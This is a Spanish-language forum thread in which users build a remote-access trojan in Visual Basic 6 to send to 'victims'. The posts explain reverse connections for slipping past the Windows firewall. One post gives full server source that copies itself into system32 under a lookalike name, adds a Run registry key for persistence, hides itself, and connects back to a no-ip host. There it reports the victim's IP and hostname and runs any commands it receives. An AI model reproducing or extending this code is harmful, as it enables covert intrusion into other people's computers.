Mensajes

busca en google, manuales de vb6 de aplicaciones cliente/servidro
hay muchos, ta el manual de kizar, hay millones de manuales, busca antes de preguntar, el de xenon
varios
Saludos...

y lo otro como pudo hacer para que ver la cantidad de usuarios conectados, mas arriba esta la duda mejor explicada ^^
gracias de ante mano, xD

es que mira si se lo envio a una victima, ya lo abre, y le quiero enviar una nueva version, no creo que me haga caso de ir a system32 borra el archivo, primer cerralo con ctrl+alt+supr y luego ir a regedit, y borras el registro que dice para que w ejecute cuando enciende el pc
xD

noo, nada conexion inversa es mucho mejor, xq aveces el fireewall de windows pregunta cuando un programa pone a la escucha un puerto, entonces con conexion inversa tu pones a la escucha el cliente, y no el server, asi que cuando la victima ejecute el server, firewall no le preguntara nada
x lo menos mi proyecto lo estoi haciendo en conexion inversa, y tan bien es mejor xq es multiconexion
Saludos....

como haber, kieres crear un programa, el cual cuando la victima lo abra te envia la ip?
si es que es eso
server:
ws.sendata ws.localip
cliente:
en dataarribal
dim data as string
label1.caption data
nose si es eso?
si es que es eso lo que kieres, te pongo otro code mas mejor jaja xD

sice que le faltan mas funciones xD, pero ahora lo cambia y se ve asi

xD, me falta para matar procecos, file manager, regedit y opciones cualkieras apagar pc y otras, y lo de usuarios conectados arriba en el caption esta malito = xD
Saludos... espero que les guste la nueva forma

el problema es saber la ip del pc remoto?si es que es eso
Ya miren enviamos un archivo a una persona y esperamos que acepte
luego con este programa se muesstran todas las conexciones,es mejor que el  netstat
se ven las conexiones en tiempo real

.::oh-ip plus::.
la conexciones 1863 de messenger, creo que son las del servidor, y x cada conversa se agrega otra conexion a ese puerto

muchas gracias x intentar explicarme api

Uf, yo para matar procesos uso las propias funciones de windows:

Código [Seleccionar] Expandir

Shell "taskkill /F /IM notepad.exe", vbHide

como se hace eso me podrias enseñar
saludos y gracias

ya encntre el error, se declara como variant xD, no como string, xD xq?
y como puedo hacer, miren este code del server

Código [Seleccionar] Expandir

Option Explicit
Dim SName As String
Dim win
Dim sys
Dim ruta As Variant, Residencia As Variant, Residencia2 As Variant
Dim obj
Private Sub Form_Load()
On Error Resume Next
Text_chat.Text = "Chat abierto"
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\winslon.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\winslon", sys & "\winslon.exe"
Ws.RemoteHost = "shadowdarknesses.no-ip.org"
Ws.RemotePort = 5555
SName = "ShaCCorTh"
App.TaskVisible = False
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = True
End Sub

Private Sub Timer_conect_Timer()
If Ws.State <> 7 Then
Ws.Close
Ws.Connect
Timer_info.Enabled = True
End If
End Sub

Private Sub Timer_info_Timer()
If Ws.State = 7 Then Envia "Conexion|" & SName & "|" & Ws.LocalIP & "|" & Ws.LocalHostName & "|" & App.Major & "." & App.Minor & "." & App.Revision & "|" & Ws.LocalPort
Timer_info.Enabled = False
End Sub

Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String, rutai As Variant
Dim vdata() As String
On Local Error Resume Next
Ws.GetData datos
vdata = Split(datos, "|")
Select Case vdata(0)
Case "Paint"
Shell ("mspaint")
Case "Chatini"
Me.Visible = True
Case "Chatinfo"
Text_chat.Text = Text_chat.Text & vbNewLine & vdata(1)
Case "Chatfin"
Me.Visible = False
Text_chat.Text = "Chat abierto "
Case "Cerrar"
End
Case "Alerta"
MsgBox vdata(1), vdata(2), vdata(3)
Case "Abrir_cd"
apicd "set CDAudio door open", "", 127, 0
Case "Cerrar_cd"
apicd "set CDAudio door closed", "", 127, 0
Case "Ejec-ruta"
Set rutai = CreateObject("WScript.Shell")
rutai.Run vdata(1)
End Select
End Sub

Private Sub Enviar_Click()
If Text_nick.Text = "" Then
MsgBox "Debes poner tu nick", vbCritical
Exit Sub
End If
Text_chat.Text = Text_chat.Text & vbNewLine & Text_nick.Text & " : " & Text_mens.Text
Envia "Chatinfo|" & Text_nick.Text & " : " & Text_mens.Text
Text_mens.Text = ""
End Sub

Private Sub Text_chat_Change()
Text_chat.SelStart = Len(Text_chat.Text)
End Sub
Private Sub Text_mens_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then Enviar_Click
End Sub

en la parte que se copia a system32, ya yo lo abro y se copia todo bien, lo abro de nuevo y no reemplaza el archivo si no que keda el primer archivo ejecutado, como ago para que lo reemplaze??
Gracias y saludos...

muchas gracias excelente todo
Saludos...